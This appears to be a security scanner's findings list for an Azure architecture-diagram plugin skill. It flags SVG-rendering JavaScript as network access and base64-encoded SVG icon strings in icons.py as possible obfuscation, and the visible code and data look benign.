const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14); - Network accessline 2699
const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2709
// Private badge on card if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2710
if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2711
const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2712
const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2758
// ── Edge labels (rendered AFTER nodes — always visible on top) ── _edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2759
_edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.classList.add('edge-label'); - Network accessline 2760
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2762
g.setAttribute('data-from', el.from); g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2763
g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); r.classList.add('edge-label-bg'); - Network accessline 2764
const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2765
r.classList.add('edge-label-bg'); const t = document.createElementNS('http://www.w3.org/2000/svg', 'text'); const bw = el.label.length * 6 + 10; - Network accessline 2766
const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/icons.py
- Executable scriptline 1
Executable file - Possible obfuscationline 7
"b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3 - Possible obfuscationline 12
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9 - Possible obfuscationline 17
"b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1 - Possible obfuscationline 22
"b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx - Possible obfuscationline 27
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i - Possible obfuscationline 32
"b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1 - Possible obfuscationline 37
"b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2 - Possible obfuscationline 42
"b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2 - Possible obfuscationline 47
"b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu - Possible obfuscationline 52
"b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1 - Possible obfuscationline 57
"b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5 - Possible obfuscationline 62
"b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh - Possible obfuscationline 67
"b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0 - Possible obfuscationline 72
"b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1 - Possible obfuscationline 77
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i - Possible obfuscationline 82
"b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5 - Possible obfuscationline 87
"b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0 - Possible obfuscationline 92
"b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4 - Possible obfuscationline 97
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9 - Possible obfuscationline 102
"b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx - Possible obfuscationline 107
"b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz - Possible obfuscationline 112
"b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh - Possible obfuscationline 117
"b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll - Possible obfuscationline 122
"b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi - Possible obfuscationline 127
"b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm - Possible obfuscationline 132
"b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1 - Possible obfuscationline 137
"b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy - Possible obfuscationline 142
"b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg - Possible obfuscationline 147
"b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi - Possible obfuscationline 152
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp - Possible obfuscationline 157
"b64": "PHN2ZyBpZD0idXVpZC0yNGQ5MmM3My02YTNkLTRjMWMtYjFkYS1hOWJlYjU4YmIxOGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NGYxM2I2NC02OGUw - Possible obfuscationline 162
"b64": "PHN2ZyBpZD0iYWNhYzVhMzQtYTAzMi00OWY5LTkzOTctMzdmNGYxYjRhZTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2ZDUzOTliLWE1Y2ItNGMwOS05NmNj - Possible obfuscationline 167
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNmM5NDIwLTIyZWEtNDM3ZC05NjNhLWQ5MWEwNzA1MmZlOCIgeDE9IjkiIHkxPSIxNy41IiB4Mj0iOSIgeTI9 - Possible obfuscationline 172
"b64": "PHN2ZyBpZD0iYjZmNmQ5OWUtZjMzMC00ODFkLTgzNmYtZWE1OGNjNDIyMTdmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImE3YTFjNDMxLTZjNmQtNGE4Zi05YTY5 - Possible obfuscationline 177
"b64": "PHN2ZyBpZD0iYTdlNWMyODQtMTNjYy00YWM1LWI4NDItZWNmYjNlN2JiYjczIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZGY3ZDE5LTNkNTQtNGQ4Ni1iN2I4 - Possible obfuscationline 182
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzMWE5NWM2LTY3OTgtNDU0OS04NTY2LWRkNzgwODRhZTdiZiIgeDE9IjEwLjY4NiIgeTE9IjAuMTQzIiB4Mj0i - Possible obfuscationline 187
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxZDE4ZDc1LWNkYjAtNDA2Ny1iZjg1LTNjMWU2ZDYzY2I5MyIgeDE9IjMuNDIzIiB5MT0iOC40MzgiIHgyPSIx - Possible obfuscationline 192
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFhZjQ3NmRlLTA0YmMtNGFmOC05OGNjLWU2NzkyOWRjY2QyMCIgeDE9IjMuODc1IiB5MT0iMi4xOTciIHgyPSI4 - Possible obfuscationline 197
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmNWZjMTg0LWQ2ZjQtNDJmMC1hYzU1LWYwNjliNzZlMzA2NCIgeDE9IjkuMDA0IiB4Mj0iOS4wMDQiIHkyPSIx - Possible obfuscationline 202
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0 - Possible obfuscationline 207
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0 - Possible obfuscationline 212
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmMzc2ZTJjLTM4ZmQtNDgzNS04M2JjLWJiMjRlZTk2MGZmZiIgeDE9IjYuMjY3IiB5MT0iMTMuOTY3IiB4Mj0i - Possible obfuscationline 217
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYjQ3M2FiLTA2M2UtNDYxMS1hZWJiLTFjZTRkN2Y1ZjFjZSIgeDE9IjkiIHkxPSI5LjYyOCIgeDI9IjkiIGdy - Possible obfuscationline 222
"b64": "PHN2ZyBpZD0idXVpZC1jZmI3MzQ1Yy01NzY0LTRlMDctODc5NS0yZDkwYmY0ZWU5ZmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iY2MzZjExNS1iYWFh - Possible obfuscationline 227
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViMTY4MjYwLTFkODYtNDNkMy1hYWY5LWIyM2Q5NTNiMzNlMCIgeDE9IjkuNzc3IiB5MT0iLTEuMzIxIiB4Mj0i - Possible obfuscationline 232
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmZDI0ZjA1LTU5YmUtNGMwNi04MzM0LTYwNTQwM2ZiMmI3YiIgeDE9IjkiIHkxPSI3NzguODMxIiB4Mj0iOSIg - Possible obfuscationline 237
"b64": "PHN2ZyBpZD0iYjE1NjVlOTctZTUzYS00NGE1LTk0NzktMTk5ZDhjM2M0MmQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjNDM1OGZhLWM5NzctNDJlMi1hN2Fi - Possible obfuscationline 242
"b64": "PHN2ZyBpZD0iYWFiZGUwYjYtMjI4OS00ZDZmLThiZTgtNWJiNjcwYmM4MGMwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwMjBkMWEzLTYwNGQtNGY3OS04MDg3 - Possible obfuscationline 247
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1OWFkOGFlLTNhMDItNDNmMS05YTgwLWQ2OWQxNDI3Mjk2YSIgeDE9IjkiIHkxPSIxMi43OTgiIHgyPSI5IiB5 - Possible obfuscationline 252
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMzQ5MiAxLjM3NDkxQzUuNDQ3MTcgMS4wNDIyOSA1Ljc1OTA5IDAuODE4MzU5IDYuMTEwMTQgMC44MTgzNTlIMTEu - Possible obfuscationline 257
"b64": "PHN2ZyBpZD0idXVpZC03N2NjMDNmZS1jZmMyLTQ0NmItOTVmMy05ZmVmNWU3NzJiMzMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05ZDAwNzBkMS1lNmMz - Possible obfuscationline 262
"b64": "PHN2ZyBpZD0iZWY3OWE3NDQtMzE4Zi00NDJiLWFhNmItOGZjMjMwY2Y3YWFmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyNWI1NDc4LTQzZjctNGY1My04NGE3 - Possible obfuscationline 267
"b64": "PHN2ZyBpZD0idXVpZC1kODdiYWU2NC00MjNhLTQxN2EtYTU4MC0yYTMzNzA2YTY1ZjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jOTA2ZmEyYy1jNzJl - Possible obfuscationline 272
"b64": "PHN2ZyBpZD0iYWI3MTBiYTctZGM4Yy00NGNlLWE2OGUtYWY2NWRkNmI0NjVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMy45ODkiIHZpZXdCb3g9IjAgMCAxOCAxMy45ODkiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0iYjIxMGZlZjEtZWU3YS00 - Possible obfuscationline 277
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OWQyMTUwLWI0ZGEtNDYwYi05OWFlLWE5ZjVhOTYxYjMxMyIgeDE9Ii0xMTk0LjMyMSIgeTE9IjkuMTI4IiB4 - Possible obfuscationline 282
"b64": "PHN2ZyBpZD0iYjBiNzU2MDMtNDZiNi00ZjhmLTkxYjEtMDc3MGY0ZDgwYmM5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmMTM1MWI2LTJmN2YtNGNlYi04ODA4 - Possible obfuscationline 287
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+SWNvbi1CbG9ja2NoYWluLTM2NjwvdGl0bGU+PHBvbHlnb24gcG9pbnRzPSIxMy4xMyAyLjQgMTMuMTMgNi45OSA5LjE4IDkuMyA5LjE4IDQuNyAx - Possible obfuscationline 292
